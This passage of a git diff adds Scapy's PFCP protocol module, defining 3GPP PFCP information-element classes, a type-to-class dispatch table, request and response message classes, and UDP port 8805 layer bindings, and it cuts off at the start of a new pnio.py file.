XBitField("spare", 0, 3), + BitEnumField("header_type", "HTTP", 5, HeaderType), + FieldLenField("name_length", None, fmt="B", length_of="name"), + StrLenField("name", "", length_from=lambda x: x.name_length), + FieldLenField("value_length", None, fmt="B", length_of="value"), + StrLenField("value", "", length_from=lambda x: x.value_length), + ExtraDataField("extra_data"), + ] + + +class IE_MeasurementInformation(IE_Base): + name = "IE Measurement Information" + ie_type = 100 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 3), + BitField("MNOP", 0, 1), + BitField("ISTM", 0, 1), + BitField("RADI", 0, 1), + BitField("INAM", 0, 1), + BitField("MBQE", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_NodeReportType(IE_Base): + name = "IE Node Report Type" + ie_type = 101 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 7), + BitField("UPFR", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_RemoteGTP_U_Peer(IE_Base): + name = "IE Remote GTP-U Peer" + ie_type = 103 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare_1", 0, 4), + BitField("NI", 0, 1), + BitField("DI", 0, 1), + BitField("V4", 0, 1), + BitField("V6", 0, 1), + ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), + ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1), + ConditionalField(ByteField("dest_interface_length", 1), + lambda x: x.DI == 1), + ConditionalField(XBitField("spare_2", 0, 4), lambda x: x.DI == 1), + ConditionalField( + BitEnumField("dest_interface", "Access", 4, DestinationInterface), + lambda x: x.DI == 1), + ConditionalField( + FieldLenField("network_instance_length", 1, + length_of="network_instance"), + lambda x: x.NI == 1), + ConditionalField( + APNStrLenField("network_instance", "", + length_from=lambda x: x.network_instance_length), + lambda x: x.NI == 1), + ExtraDataField("extra_data"), + ] + + +class IE_UR_SEQN(IE_Base): + name = "IE UR-SEQN" + ie_type = 104 + fields_desc = IE_Base.fields_desc + [ + IntField("number", 0), + ] + + +class IE_ActivatePredefinedRules(IE_Base): + name = "IE Activate Predefined Rules" + ie_type = 106 + fields_desc = IE_Base.fields_desc + [ + StrLenField("name", "", length_from=lambda x: x.length) + ] + + +class IE_DeactivatePredefinedRules(IE_Base): + name = "IE Deactivate Predefined Rules" + ie_type = 107 + fields_desc = IE_Base.fields_desc + [ + StrLenField("name", "", length_from=lambda x: x.length) + ] + + +class IE_FAR_Id(IE_Base): + name = "IE FAR ID" + ie_type = 108 + fields_desc = IE_Base.fields_desc + [ + IntField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_QER_Id(IE_Base): + name = "IE QER ID" + ie_type = 109 + fields_desc = IE_Base.fields_desc + [ + IntField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_OCIFlags(IE_Base): + name = "IE OCI Flags" + ie_type = 110 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", None, 7), + BitField("AOCI", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_PFCPAssociationReleaseRequest(IE_Base): + name = "IE PFCP Association Release Request" + ie_type = 111 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", None, 7), + BitField("SARR", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_GracefulReleasePeriod(IE_Base): + name = "IE Graceful Release Period" + ie_type = 112 + fields_desc = IE_Base.fields_desc + [ + BitEnumField("release_timer_unit", "2 seconds", 3, TimerUnit), + BitField("release_timer_value", 0, 5), + ExtraDataField("extra_data"), + ] + + +class IE_PDNType(IE_Base): + name = "IE PDN Type" + ie_type = 113 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitEnumField("pdn_type", "IPv4", 3, PDNType), + ExtraDataField("extra_data"), + ] + + +class IE_FailedRuleId(IE_Base): + name = "IE Failed Rule ID" + ie_type = 114 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 3), + BitEnumField("type", "PDR", 5, RuleIDType), + ConditionalField(ShortField("pdr_id", 0), + lambda x: x.type == 0), + ConditionalField(IntField("far_id", 0), + lambda x: x.type == 1 or x.type > 4), + ConditionalField(IntField("qer_id", 0), lambda x: x.type == 2), + ConditionalField(IntField("urr_id", 0), lambda x: x.type == 3), + ConditionalField(ByteField("bar_id", 0), + lambda x: x.type == 4), + ExtraDataField("extra_data"), + ] + + +class IE_TimeQuotaMechanism(IE_Base): + name = "IE Time Quota Mechanism" + ie_type = 115 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 6), + BitEnumField("base_time_interval_type", "CTP", 2, BaseTimeInterval), + IntField("interval", 0), + ExtraDataField("extra_data"), + ] + + +class IE_UserPlaneIPResourceInformation(IE_Base): + name = "IE User Plane IP Resource Information" + ie_type = 116 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 1), + BitField("ASSOSI", 0, 1), + BitField("ASSONI", 0, 1), + BitField("TEIDRI", 0, 3), + BitField("V6", 0, 1), + BitField("V4", 0, 1), + ConditionalField(XByteField("teid_range", 0), lambda x: x.TEIDRI != 0), + ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), + ConditionalField(IP6Field("ipv6", 0), + lambda x: x.V6 == 1), + ConditionalField( + APNStrLenField("network_instance", "", + length_from=lambda x: + x.length - 1 - (1 if x.TEIDRI != 0 else 0) - + (x.V4 * 4) - (x.V6 * 16) - x.ASSOSI), + lambda x: x.ASSONI == 1), + ConditionalField(XBitField("spare", None, 4), lambda x: x.ASSOSI == 1), + ConditionalField( + BitEnumField("interface", "Access", 4, SourceInterface), + lambda x: x.ASSOSI == 1), + ExtraDataField("extra_data"), + ] + + +class IE_UserPlaneInactivityTimer(IE_Base): + name = "IE User Plane Inactivity Timer" + ie_type = 117 + fields_desc = IE_Base.fields_desc + [ + IntField("timer", 0), + ExtraDataField("extra_data"), + ] + + +class IE_Multiplier(IE_Base): + name = "IE Multiplier" + ie_type = 119 + fields_desc = IE_Base.fields_desc + [ + SignedLongField("digits", 0), + SignedIntField("exponent", 0), + ] + + +class IE_AggregatedURR_Id(IE_Base): + name = "IE Aggregated URR ID" + ie_type = 120 + fields_desc = IE_Base.fields_desc + [ + IntField("id", 0), + ] + + +class IE_SubsequentVolumeQuota(IE_Base): + name = "IE Subsequent Volume Quota" + ie_type = 121 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitField("DLVOL", 0, 1), + BitField("ULVOL", 0, 1), + BitField("TOVOL", 0, 1), + ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), + ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), + ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), + ExtraDataField("extra_data"), + ] + + +class IE_SubsequentTimeQuota(IE_Base): + name = "IE Subsequent Time Quota" + ie_type = 122 + fields_desc = IE_Base.fields_desc + [ + IntField("quota", 0), + ExtraDataField("extra_data"), + ] + + +class IE_RQI(IE_Base): + name = "IE RQI" + ie_type = 123 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", None, 7), + BitField("RQI", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_QFI(IE_Base): + name = "IE QFI" + ie_type = 124 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", None, 2), + BitField("QFI", 0, 6), + ExtraDataField("extra_data"), + ] + + +class IE_QueryURRReference(IE_Base): + name = "IE Query URR Reference" + ie_type = 125 + fields_desc = IE_Base.fields_desc + [ + IntField("reference", 0), + ExtraDataField("extra_data"), + ] + + +class IE_AdditionalUsageReportsInformation(IE_Base): + name = "IE Additional Usage Reports Information" + ie_type = 126 + fields_desc = IE_Base.fields_desc + [ + BitField("AURI", 0, 1), + BitField("reports", 0, 15), + ExtraDataField("extra_data"), + ] + + +class IE_TrafficEndpointId(IE_Base): + name = "IE Traffic Endpoint ID" + ie_type = 131 + fields_desc = IE_Base.fields_desc + [ + ByteField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_MACAddress(IE_Base): + name = "IE MAC Address" + ie_type = 133 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitField("UDES", 0, 1), + BitField("USOU", 0, 1), + BitField("DEST", 0, 1), + BitField("SOUR", 0, 1), + ConditionalField(MACField("source_mac", 0), + lambda x: x.SOUR == 1), + ConditionalField(MACField("destination_mac", 0), + lambda x: x.DEST == 1), + ConditionalField(MACField("upper_source_mac", 0), + lambda x: x.USOU == 1), + ConditionalField(MACField("upper_destination_mac", 0), + lambda x: x.UDES == 1), + ExtraDataField("extra_data"), + ] + + +class IE_C_TAG(IE_Base): + name = "IE C-TAG" + ie_type = 134 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare_1", 0, 5), + BitField("VID", 0, 1), + BitField("DEI", 0, 1), + BitField("PCP", 0, 1), + # TODO: fix cvid_value + ConditionalField( + BitField("cvid_value_hi", 0, 4), lambda x: x.VID == 1), + ConditionalField(BitField("spare_2", 0, 4), lambda x: x.VID == 0), + ConditionalField(BitField("dei_flag", 0, 1), lambda x: x.DEI == 1), + ConditionalField(BitField("spare_3", 0, 1), lambda x: x.DEI == 0), + ConditionalField(BitField("pcp_value", 0, 3), lambda x: x.PCP == 1), + ConditionalField(BitField("spare_4", 0, 3), lambda x: x.PCP == 0), + ConditionalField(ByteField("cvid_value_low", 0), + lambda x: x.VID == 1), + ConditionalField(ByteField("spare_5", 0), lambda x: x.VID == 0), + ExtraDataField("extra_data"), + ] + + +class IE_S_TAG(IE_Base): + name = "IE S-TAG" + ie_type = 135 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare_1", 0, 5), + BitField("VID", 0, 1), + BitField("DEI", 0, 1), + BitField("PCP", 0, 1), + # TODO: fix svid_value + ConditionalField(BitField("svid_value_hi", 0, 4), + lambda x: x.VID == 1), + ConditionalField(BitField("spare_2", 0, 4), lambda x: x.VID == 0), + ConditionalField(BitField("dei_flag", 0, 1), lambda x: x.DEI == 1), + ConditionalField(BitField("spare_3", 0, 1), lambda x: x.DEI == 0), + ConditionalField(BitField("pcp_value", 0, 3), lambda x: x.PCP == 1), + ConditionalField(BitField("spare_4", 0, 3), lambda x: x.PCP == 0), + ConditionalField(ByteField("svid_value_low", 0), + lambda x: x.VID == 1), + ConditionalField(ByteField("spare_5", 0), lambda x: x.VID == 0), + ExtraDataField("extra_data"), + ] + + +class IE_Ethertype(IE_Base): + name = "IE Ethertype" + ie_type = 136 + fields_desc = IE_Base.fields_desc + [ + ShortField("type", 0), + ExtraDataField("extra_data"), + ] + + +class IE_Proxying(IE_Base): + name = "IE Proxying" + ie_type = 137 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 6), + BitField("INS", 0, 1), + BitField("ARP", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_EthernetFilterId(IE_Base): + name = "IE Ethernet Filter ID" + ie_type = 138 + fields_desc = IE_Base.fields_desc + [ + IntField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_EthernetFilterProperties(IE_Base): + name = "IE Ethernet Filter Properties" + ie_type = 139 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 7), + BitField("BIDE", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_SuggestedBufferingPacketsCount(IE_Base): + name = "IE Suggested Buffering Packets Count" + ie_type = 140 + fields_desc = IE_Base.fields_desc + [ + ByteField("count", 0), + ExtraDataField("extra_data"), + ] + + +class IE_UserId(IE_Base): + name = "IE User ID" + ie_type = 141 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitField("NAIF", 0, 1), + BitField("MSISDNF", 0, 1), + BitField("IMEIF", 0, 1), + BitField("IMSIF", 0, 1), + ConditionalField( + FieldLenField("imsi_length", None, length_of="imsi", fmt="B"), + lambda x: x.IMSIF == 1), + ConditionalField( + StrLenField("imsi", "", length_from=lambda x: x.imsi_length), + lambda x: x.IMSIF == 1), + ConditionalField( + FieldLenField("imei_length", None, length_of="imei", fmt="B"), + lambda x: x.IMEIF == 1), + ConditionalField( + StrLenField("imei", "", length_from=lambda x: x.imei_length), + lambda x: x.IMEIF == 1), + ConditionalField( + FieldLenField("msisdn_length", None, length_of="msisdn", fmt="B"), + lambda x: x.MSISDNF == 1), + ConditionalField( + StrLenField("msisdn", "", length_from=lambda x: x.msisdn_length), + lambda x: x.MSISDNF == 1), + ConditionalField( + FieldLenField("nai_length", None, length_of="nai", fmt="B"), + lambda x: x.NAIF == 1), + ConditionalField( + StrLenField("nai", "", length_from=lambda x: x.nai_length), + lambda x: x.NAIF == 1), + ExtraDataField("extra_data"), + ] + + +class IE_EthernetPDUSessionInformation(IE_Base): + name = "IE Ethernet PDU Session Information" + ie_type = 142 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 7), + BitField("ETHI", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_MACAddressesDetected(IE_Base): + name = "IE MAC Addresses Detected" + ie_type = 144 + fields_desc = IE_Base.fields_desc + [ + FieldLenField("num_macs", None, count_of="macs", fmt="B"), + FieldListField("macs", None, MACField("mac", 0), + count_from=lambda x: x.num_macs), + ExtraDataField("extra_data"), + ] + + +class IE_MACAddressesRemoved(IE_Base): + name = "IE MAC Addresses Removed" + ie_type = 145 + fields_desc = IE_Base.fields_desc + [ + FieldLenField("num_macs", None, count_of="macs", fmt="B"), + FieldListField("macs", None, MACField("mac", 0), + count_from=lambda x: x.num_macs), + ExtraDataField("extra_data"), + ] + + +class IE_EthernetInactivityTimer(IE_Base): + name = "IE Ethernet Inactivity Timer" + ie_type = 146 + fields_desc = IE_Base.fields_desc + [ + IntField("timer", 0), + ExtraDataField("extra_data"), + ] + + +class IE_EventQuota(IE_Base): + name = "IE Event Quota" + ie_type = 148 + fields_desc = IE_Base.fields_desc + [ + IntField("event_quota", 0), + ExtraDataField("extra_data"), + ] + + +class IE_EventThreshold(IE_Base): + name = "IE Event Threshold" + ie_type = 149 + fields_desc = IE_Base.fields_desc + [ + IntField("event_threshold", 0), + ExtraDataField("extra_data"), + ] + + +class IE_SubsequentEventQuota(IE_Base): + name = "IE Subsequent Event Quota" + ie_type = 150 + fields_desc = IE_Base.fields_desc + [ + IntField("subsequent_event_quota", 0), + ExtraDataField("extra_data"), + ] + + +class IE_SubsequentEventThreshold(IE_Base): + name = "IE Subsequent Event Threshold" + ie_type = 151 + fields_desc = IE_Base.fields_desc + [ + IntField("subsequent_event_threshold", 0), + ExtraDataField("extra_data"), + ] + + +class IE_TraceInformation(IE_Base): + # TODO: more detailed decoding + # TODO: fix IP address handling + name = "IE Trace Information" + ie_type = 152 + fields_desc = IE_Base.fields_desc + [ + BitField("mcc_digit_2", 0, 4), + BitField("mcc_digit_1", 0, 4), + BitField("mnc_digit_3", 0, 4), + BitField("mcc_digit_3", 0, 4), + BitField("mnc_digit_2", 0, 4), + BitField("mnc_digit_1", 0, 4), + ThreeBytesField("trace_id", 0), # FIXME + FieldLenField("triggering_events_length", None, + length_of="triggering_events", fmt="B"), + StrLenField("triggering_events", "", + length_from=lambda x: x.triggering_events_length), + ByteField("session_trace_depth", 0), + FieldLenField("list_of_interfaces_length", None, + length_of="list_of_interfaces", fmt="B"), + StrLenField("list_of_interfaces", "", + length_from=lambda x: x.list_of_interfaces_length), + FieldLenField("ip_address_length", None, + length_of="ip_address", fmt="B"), + StrLenField("ip_address", "", + length_from=lambda x: x.ip_address_length), + ExtraDataField("extra_data"), + ] + + +class IE_FramedRoute(IE_Base): + name = "IE Framed-Route" + ie_type = 153 + fields_desc = IE_Base.fields_desc + [ + StrLenField("framed_route", "", length_from=lambda x: x.length) + ] + + +class IE_FramedRouting(IE_Base): + name = "IE Framed-Routing" + ie_type = 154 + fields_desc = IE_Base.fields_desc + [ + StrLenField("framed_routing", "", length_from=lambda x: x.length) + ] + + +class IE_FramedIPv6Route(IE_Base): + name = "IE Framed-IPv6-Route" + ie_type = 155 + fields_desc = IE_Base.fields_desc + [ + StrLenField("framed_ipv6_route", "", length_from=lambda x: x.length) + ] + + +class IE_EventTimeStamp(IE_Base): + name = "IE Event Time Stamp" + ie_type = 156 + fields_desc = IE_Base.fields_desc + [ + IntField("timestamp", 0), + ExtraDataField("extra_data"), + ] + + +class IE_AveragingWindow(IE_Base): + name = "IE Averaging Window" + ie_type = 157 + fields_desc = IE_Base.fields_desc + [ + IntField("averaging_window", 0), + ExtraDataField("extra_data"), + ] + + +class IE_PagingPolicyIndicator(IE_Base): + name = "IE Paging Policy Indicator" + ie_type = 158 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitField("ppi", 0, 3), + ExtraDataField("extra_data"), + ] + + +class IE_APN_DNN(IE_Base): + name = "IE APN/DNN" + ie_type = 159 + fields_desc = IE_Base.fields_desc + [ + APNStrLenField("apn_dnn", "", length_from=lambda x: x.length) + ] + + +class IE_3GPP_InterfaceType(IE_Base): + name = "IE 3GPP Interface Type" + ie_type = 160 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare_1", 0, 2), + BitEnumField("interface_type", "S1-U", 6, InterfaceType), + ExtraDataField("extra_data"), + ] + + +class IE_EnterpriseSpecific(IE_Base): + name = "Enterpise Specific" + ie_type = None + fields_desc = IE_Base.fields_desc + [ + ShortEnumField("enterprise_id", None, IANA_ENTERPRISE_NUMBERS), + StrLenField("data", "", length_from=lambda x: x.length - 2), + ] + + +class IE_NotImplemented(IE_Base): + name = "IE not implemented" + ie_type = 0 + fields_desc = IE_Base.fields_desc + [ + StrLenField("data", "", length_from=lambda x: x.length) + ] + + +ietypecls = { + 1: IE_CreatePDR, + 2: IE_PDI, + 3: IE_CreateFAR, + 4: IE_ForwardingParameters, + 5: IE_DuplicatingParameters, + 6: IE_CreateURR, + 7: IE_CreateQER, + 8: IE_CreatedPDR, + 9: IE_UpdatePDR, + 10: IE_UpdateFAR, + 11: IE_UpdateForwardingParameters, + 12: IE_UpdateBAR_SRR, + 13: IE_UpdateURR, + 14: IE_UpdateQER, + 15: IE_RemovePDR, + 16: IE_RemoveFAR, + 17: IE_RemoveURR, + 18: IE_RemoveQER, + 19: IE_Cause, + 20: IE_SourceInterface, + 21: IE_FTEID, + 22: IE_NetworkInstance, + 23: IE_SDF_Filter, + 24: IE_ApplicationId, + 25: IE_GateStatus, + 26: IE_MBR, + 27: IE_GBR, + 28: IE_QERCorrelationId, + 29: IE_Precedence, + 30: IE_TransportLevelMarking, + 31: IE_VolumeThreshold, + 32: IE_TimeThreshold, + 33: IE_MonitoringTime, + 34: IE_SubsequentVolumeThreshold, + 35: IE_SubsequentTimeThreshold, + 36: IE_InactivityDetectionTime, + 37: IE_ReportingTriggers, + 38: IE_RedirectInformation, + 39: IE_ReportType, + 40: IE_OffendingIE, + 41: IE_ForwardingPolicy, + 42: IE_DestinationInterface, + 43: IE_UPFunctionFeatures, + 44: IE_ApplyAction, + 45: IE_DownlinkDataServiceInformation, + 46: IE_DownlinkDataNotificationDelay, + 47: IE_DLBufferingDuration, + 48: IE_DLBufferingSuggestedPacketCount, + 49: IE_PFCPSMReqFlags, + 50: IE_PFCPSRRspFlags, + 51: IE_LoadControlInformation, + 52: IE_SequenceNumber, + 53: IE_Metric, + 54: IE_OverloadControlInformation, + 55: IE_Timer, + 56: IE_PDR_Id, + 57: IE_FSEID, + 58: IE_ApplicationID_PFDs, + 59: IE_PFDContext, + 60: IE_NodeId, + 61: IE_PFDContents, + 62: IE_MeasurementMethod, + 63: IE_UsageReportTrigger, + 64: IE_MeasurementPeriod, + 65: IE_FqCSID, + 66: IE_VolumeMeasurement, + 67: IE_DurationMeasurement, + 68: IE_ApplicationDetectionInformation, + 69: IE_TimeOfFirstPacket, + 70: IE_TimeOfLastPacket, + 71: IE_QuotaHoldingTime, + 72: IE_DroppedDLTrafficThreshold, + 73: IE_VolumeQuota, + 74: IE_TimeQuota, + 75: IE_StartTime, + 76: IE_EndTime, + 77: IE_QueryURR, + 78: IE_UsageReport_SMR, + 79: IE_UsageReport_SDR, + 80: IE_UsageReport_SRR, + 81: IE_URR_Id, + 82: IE_LinkedURR_Id, + 83: IE_DownlinkDataReport, + 84: IE_OuterHeaderCreation, + 85: IE_Create_BAR, + 86: IE_Update_BAR_SMR, + 87: IE_Remove_BAR, + 88: IE_BAR_Id, + 89: IE_CPFunctionFeatures, + 90: IE_UsageInformation, + 91: IE_ApplicationInstanceId, + 92: IE_FlowInformation, + 93: IE_UE_IP_Address, + 94: IE_PacketRate, + 95: IE_OuterHeaderRemoval, + 96: IE_RecoveryTimeStamp, + 97: IE_DLFlowLevelMarking, + 98: IE_HeaderEnrichment, + 99: IE_ErrorIndicationReport, + 100: IE_MeasurementInformation, + 101: IE_NodeReportType, + 102: IE_UserPlanePathFailureReport, + 103: IE_RemoteGTP_U_Peer, + 104: IE_UR_SEQN, + 105: IE_UpdateDuplicatingParameters, + 106: IE_ActivatePredefinedRules, + 107: IE_DeactivatePredefinedRules, + 108: IE_FAR_Id, + 109: IE_QER_Id, + 110: IE_OCIFlags, + 111: IE_PFCPAssociationReleaseRequest, + 112: IE_GracefulReleasePeriod, + 113: IE_PDNType, + 114: IE_FailedRuleId, + 115: IE_TimeQuotaMechanism, + 116: IE_UserPlaneIPResourceInformation, + 117: IE_UserPlaneInactivityTimer, + 118: IE_AggregatedURRs, + 119: IE_Multiplier, + 120: IE_AggregatedURR_Id, + 121: IE_SubsequentVolumeQuota, + 122: IE_SubsequentTimeQuota, + 123: IE_RQI, + 124: IE_QFI, + 125: IE_QueryURRReference, + 126: IE_AdditionalUsageReportsInformation, + 127: IE_CreateTrafficEndpoint, + 128: IE_CreatedTrafficEndpoint, + 129: IE_UpdateTrafficEndpoint, + 130: IE_RemoveTrafficEndpoint, + 131: IE_TrafficEndpointId, + 132: IE_EthernetPacketFilter, + 133: IE_MACAddress, + 134: IE_C_TAG, + 135: IE_S_TAG, + 136: IE_Ethertype, + 137: IE_Proxying, + 138: IE_EthernetFilterId, + 139: IE_EthernetFilterProperties, + 140: IE_SuggestedBufferingPacketsCount, + 141: IE_UserId, + 142: IE_EthernetPDUSessionInformation, + 143: IE_EthernetTrafficInformation, + 144: IE_MACAddressesDetected, + 145: IE_MACAddressesRemoved, + 146: IE_EthernetInactivityTimer, + 147: IE_AdditionalMonitoringTime, + 148: IE_EventQuota, + 149: IE_EventThreshold, + 150: IE_SubsequentEventQuota, + 151: IE_SubsequentEventThreshold, + 152: IE_TraceInformation, + 153: IE_FramedRoute, + 154: IE_FramedRouting, + 155: IE_FramedIPv6Route, + 156: IE_EventTimeStamp, + 157: IE_AveragingWindow, + 158: IE_PagingPolicyIndicator, + 159: IE_APN_DNN, + 160: IE_3GPP_InterfaceType, +} + + +# +# PFCP Messages +# 3GPP TS 29.244 V15.6.0 (2019-07) +# + +# class PFCPMessage(Packet): +# fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] + + +class PFCPHeartbeatRequest(Packet): + name = "PFCP Heartbeat Request" + fields_desc = [ + PacketListField("IE_list", [IE_RecoveryTimeStamp()], IE_Dispatcher) + ] + + +class PFCPHeartbeatResponse(Packet): + name = "PFCP Heartbeat Response" + fields_desc = [ + PacketListField("IE_list", [IE_RecoveryTimeStamp()], IE_Dispatcher) + ] + + def answers(self, other): + return isinstance(other, PFCPHeartbeatRequest) + + +class PFCPPFDManagementRequest(Packet): + name = "PFCP PFD Management Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPPFDManagementResponse(Packet): + name = "PFCP PFD Management Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPPFDManagementRequest) + + +class PFCPAssociationSetupRequest(Packet): + name = "PFCP Association Setup Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPAssociationSetupResponse(Packet): + name = "PFCP Association Setup Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPAssociationSetupRequest) + + +class PFCPAssociationUpdateRequest(Packet): + name = "PFCP Association Update Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPAssociationUpdateResponse(Packet): + name = "PFCP Association Update Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPAssociationUpdateRequest) + + +class PFCPAssociationReleaseRequest(Packet): + name = "PFCP Association Release Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPAssociationReleaseResponse(Packet): + name = "PFCP Association Release Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPAssociationReleaseRequest) + + +class PFCPVersionNotSupportedResponse(Packet): + name = "PFCP Version Not Supported Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + # TODO: answers() + + +class PFCPNodeReportRequest(Packet): + name = "PFCP Node Report Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPNodeReportResponse(Packet): + name = "PFCP Node Report Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPNodeReportRequest) + + +class PFCPSessionSetDeletionRequest(Packet): + name = "PFCP Session Set Deletion Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPSessionSetDeletionResponse(Packet): + name = "PFCP Session Set Deletion Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPSessionSetDeletionRequest) + + +class PFCPSessionEstablishmentRequest(Packet): + name = "PFCP Session Establishment Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPSessionEstablishmentResponse(Packet): + name = "PFCP Session Establishment Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPSessionEstablishmentRequest) + + +class PFCPSessionModificationRequest(Packet): + name = "PFCP Session Modification Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPSessionModificationResponse(Packet): + name = "PFCP Session Modification Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPSessionModificationRequest) + + +class PFCPSessionDeletionRequest(Packet): + name = "PFCP Session Deletion Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPSessionDeletionResponse(Packet): + name = "PFCP Session Deletion Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPSessionDeletionRequest) + + +class PFCPSessionReportRequest(Packet): + name = "PFCP Session Report Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class PFCPSessionReportResponse(Packet): + name = "PFCP Session Report Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def answers(self, other): + return isinstance(other, PFCPSessionReportRequest) + + +bind_bottom_up(UDP, PFCP, dport=8805) +bind_bottom_up(UDP, PFCP, sport=8805) +bind_layers(UDP, PFCP, dport=8805, sport=8805) +bind_layers(PFCP, PFCPHeartbeatRequest, message_type=1) +bind_layers(PFCP, PFCPHeartbeatResponse, message_type=2) +bind_layers(PFCP, PFCPPFDManagementRequest, message_type=3) +bind_layers(PFCP, PFCPPFDManagementResponse, message_type=4) +bind_layers(PFCP, PFCPAssociationSetupRequest, message_type=5) +bind_layers(PFCP, PFCPAssociationSetupResponse, message_type=6) +bind_layers(PFCP, PFCPAssociationUpdateRequest, message_type=7) +bind_layers(PFCP, PFCPAssociationUpdateResponse, message_type=8) +bind_layers(PFCP, PFCPAssociationReleaseRequest, message_type=9) +bind_layers(PFCP, PFCPAssociationReleaseResponse, message_type=10) +bind_layers(PFCP, PFCPVersionNotSupportedResponse, message_type=11) +bind_layers(PFCP, PFCPNodeReportRequest, message_type=12) +bind_layers(PFCP, PFCPNodeReportResponse, message_type=13) +bind_layers(PFCP, PFCPSessionSetDeletionRequest, message_type=14) +bind_layers(PFCP, PFCPSessionSetDeletionResponse, message_type=15) +bind_layers(PFCP, PFCPSessionEstablishmentRequest, message_type=50) +bind_layers(PFCP, PFCPSessionEstablishmentResponse, message_type=51) +bind_layers(PFCP, PFCPSessionModificationRequest, message_type=52) +bind_layers(PFCP, PFCPSessionModificationResponse, message_type=53) +bind_layers(PFCP, PFCPSessionDeletionRequest, message_type=54) +bind_layers(PFCP, PFCPSessionDeletionResponse, message_type=55) +bind_layers(PFCP, PFCPSessionReportRequest, message_type=56) +bind_layers(PFCP, PFCPSessionReportResponse, message_type=57) + +# FIXME: the following fails with pfcplib-generated pcaps: +# bind_layers(PFCP, PFCPSessionEstablishmentRequest, message_type=50, S=1) +# bind_layers(PFCP, PFCPSessionEstablishmentResponse, message_type=51, S=1) +# bind_layers(PFCP, PFCPSessionModificationRequest, message_type=52, S=1) +# bind_layers(PFCP, PFCPSessionModificationResponse, message_type=53, S=1) +# bind_layers(PFCP, PFCPSessionDeletionRequest, message_type=54, S=1) +# bind_layers(PFCP, PFCPSessionDeletionResponse, message_type=55, S=1) +# bind_layers(PFCP, PFCPSessionReportRequest, message_type=56, S=1) +# bind_layers(PFCP, PFCPSessionReportResponse, message_type=57, S=1) + +# TODO: limit possible child IEs based on IE type + +IE_UE_IP_Address(SD=0, V4=0, V6=0, spare=0) diff --git a/libs/scapy/contrib/pnio.py b/libs/scapy/contrib/pnio.py new file mode 100755 index 0000000..d5bb876 --- /dev/null +++ b/libs/scapy/contrib/pnio.py @@ -0,0 +1,392 @@ +# coding: utf8 +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed 